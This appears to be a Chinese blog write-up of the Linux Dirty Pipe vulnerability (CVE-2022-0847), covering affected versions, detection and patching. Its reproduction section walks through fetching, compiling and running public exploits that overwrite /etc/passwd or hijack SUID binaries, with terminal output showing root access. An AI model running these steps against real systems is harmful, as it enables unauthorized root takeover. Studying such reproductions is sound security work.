一、漏洞描述
Linux内核是操作系统的关键组件。它借助进程间通信和系统调用,在硬件级别上充当应用程序和数据处理之间的桥梁。CVE-2022-0847它是自5.8以来Linux内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。它类似于DirtyCOW(CVE-2016-5195),但更容易被利用。
二、漏洞影响:
Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
三、漏洞检测
可以通过uname -r命令查看版本信息,判断是否可利用。
四、漏洞复现
方法一:CVE-2022-0847-DirtyPipe-Exploit
步骤
1.下载攻击脚本:git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git
2.运行脚本,生成exp:./compile.sh
3.执行exp:./exploit
4.登录su root密码为:aaron
┌──(chenjiangfeng?kali)-[~]
└─$ git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit ##下载攻击脚本
Cloning into 'CVE-2022-0847-DirtyPipe-Exploit'...
remote: Enumerating objects: 32, done.
remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 32 (delta 16), reused 16 (delta 5), pack-reused 0
Receiving objects: 100% (32/32), 14.42 KiB | 2.88 MiB/s, done.
Resolving deltas: 100% (16/16), done.
┌──(chenjiangfeng?kali)-[~]
└─$ cd CVE-2022-0847-DirtyPipe-Exploit
┌──(chenjiangfeng?kali)-[~/CVE-2022-0847-DirtyPipe-Exploit]
└─$ gcc exploit.c -o exploit ##编译脚本
┌──(chenjiangfeng?kali)-[~/CVE-2022-0847-DirtyPipe-Exploit]
└─$ ./exploit ##运行脚本
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "aaron"...
system() function call seems to have failed :(
┌──(chenjiangfeng?kali)-[~/CVE-2022-0847-DirtyPipe-Exploit]
└─$ su root ##切换root用户
Password:
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),119(wireshark),142(kaboxer)
#
方法二:dirtypipez.c
后来看 p 牛说到了网上的其他 POC,下面这个 POC 测试了一下,是可以提权的
┌──(chenjiangfeng㉿kali)-[~]
└─$ mkdir dirtypipez
┌──(chenjiangfeng㉿kali)-[~]
└─$ cd dirtypipez
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ wget https://haxx.in/files/dirtypipez.c
--2022-08-09 08:30:55-- https://haxx.in/files/dirtypipez.c
Resolving haxx.in (haxx.in)... 54.37.234.99
Connecting to haxx.in (haxx.in)|54.37.234.99|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7335 (7.2K) [text/x-csrc]
Saving to: ‘dirtypipez.c’
dirtypipez.c 100%[========================================================================================>] 7.16K --.-KB/s in 0s
2022-08-09 08:30:56 (58.8 MB/s) - ‘dirtypipez.c’ saved [7335/7335]
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ gcc dirtypipez.c -o dirtypipez
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$
这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权
使用以下命令可以找到这类文件
┌──(chenjiangfeng㉿kali)-[~/dirtypipez]
└─$ find / -perm -u=s -type f 2>/dev/null
这里就以 /bin/su 为例了,直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权
./dirtypipez /bin/su
五、修复建议
更新升级 Linux 内核到以下安全版本:
Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.debian.org/security/2022/dsa-5092
© 版权声明
本站所有内容(包括但不限于文字、图片、视频等)均受到版权法保护,归作者所有,未经授权不得转载、复制或用于其他任何商业目的。 转载请注明出处,并保留原文链接。对于未经授权的使用,我们将保留追究法律责任的权利。
THE END
暂无评论内容